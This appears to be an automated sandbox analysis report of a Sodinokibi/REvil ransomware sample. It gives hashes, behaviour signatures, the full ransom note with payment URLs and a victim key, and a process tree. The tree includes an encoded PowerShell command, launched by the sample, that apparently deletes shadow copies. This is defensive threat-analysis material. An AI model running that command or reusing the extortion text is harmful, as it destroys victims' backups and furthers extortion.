Overview

overview

10

Static

static

10

ec9950b211...e1.exe

windows7_x64

10

ec9950b211...e1.exe

windows10_x64

10

Analysis

  • max time kernel
    166s
  • max time network
    182s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 00:45

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General

  • Target
    ec9950b2114f7c13c3395c6d5f0ecaa520a0dfe62b1e33c56c746ceec97881e1.exe
  • Size 165KB
  • Sample220124-a4h5aaghh3
  • SHA256 ec9950b2114f7c13c3395c6d5f0ecaa520a0dfe62b1e33c56c746ceec97881e1
  • MD5 SHA1 SHA512
Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

  • C:\fkr31h99x-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion fkr31h99x. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A124055E5D1D8F65 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/A124055E5D1D8F65 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: loObyBSqgfhDwGhJxtXX/XjsQMBIyRhNzDVDN7DtJNRwYu6K2x5McueO8DMBLHHK GNwP/3gGUQ8SNC5dtjfHXA5InzUFxXJimuIq08J2R8SNQxbbnD9DEEFuiPbMMk8k zfe6HdXkIOrDWtNIEwrv8NZU4q+giUa/BBxEjsMyOQj/fZ4D36PIdcaM1fEJosJx j+XAvJayMllWmNESsCsHkmTFCemiNS+E2OHjpvY8KwL873Br0/Hsuw95yXQRTYXm /E0DHAccIWCC9ZU8Y03ghVBAwhcskGti4uox0AnE/HSo9psOjL1BDiBqaKit/21l jxeyGTBLYl0xwzz3JnwE73k7vcNz+ZohgEmEmwt+CrlvA3vABOiEESSXtPfxctBf JO9YfoEiMWJ6onrj377iXnVnPjokwjJwToQPehQtO65RudXZFvddoerdI6QpBV7c ACXmdyMrc25exl0vl5lYuAur4WwqIkePGEolVyVZj9lhPNiAX61FJ6P+dRS1jk7k pxMm8/tVRmothOwXXpZOlWw3Io7HBnq9bx8yBBILsgH3T/i7Nm5nYnhtASMKI1v+ GBJ0lRZuDykfCTkX1QzqdZhoBz8+gkiwIaEIa9QRt04AKrOdH+5vAb/Mp1o1CIB1 HfzSFQsRZGglmN5NE2nO6VFrVrWaGUwBPx6PZqPPtn68OUTPh9iUkRmpy822BR5n WojeTE4QdzZagh0BOQpwc5cBHmCykRoCU29AT8BDTSYkGnYlcGe1qRr42Hdy2KLw TjDJG2uq5mt8PYcUEeMXVxu4rr1yb3pXmtywz9Etwciypw0Zx4R0BAUpat8ZkIVt o2aCrYNGW+Vz06VIBomfW59PqmsjUFvOyN5OkNQtVVgJ5Xat9zsQfg4RGbGA0/va FFi4DzKOT/8uGnJOQmaDFoXMji9+7fEowoKnhD2KSo4ZpV1q1Qa5+1/aUK60oaUN mlJomUCdANAT5qSdlc2LExAcTiQ9MOEMELlxXPK7V9nZWkyxmBOzkHFQgtUCS7t3 yh1S2aE/Bt2M3fv+7+VF36lSSYanaZBm5H8P8wR+uwo8a/2bFcmIKNhQlOfKhkxe Wor6F40ImIOtTKqYNy5+5qtP0Iy2ExVpS3PeOp7qJztCqvQElVg8wsMbF2OpdzHS Extension name: fkr31h99x ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A124055E5D1D8F65

  • http://decryptor.cc/A124055E5D1D8F65

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 13 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 26 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ec9950b2114f7c13c3395c6d5f0ecaa520a0dfe62b1e33c56c746ceec97881e1.exe
    "C:\Users\Admin\AppData\Local\Temp\ec9950b2114f7c13c3395c6d5f0ecaa520a0dfe62b1e33c56c746ceec97881e1.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2264
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1212

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/1160-123-0x000002245FCB0000-0x000002245FCB2000-memory.dmp
          Download

          memory/1160-124-0x000002245FCB3000-0x000002245FCB5000-memory.dmp
          Download

          memory/1160-125-0x000002245FDA0000-0x000002245FDC2000-memory.dmp
          Download

          memory/1160-130-0x000002247A0B0000-0x000002247A126000-memory.dmp
          Download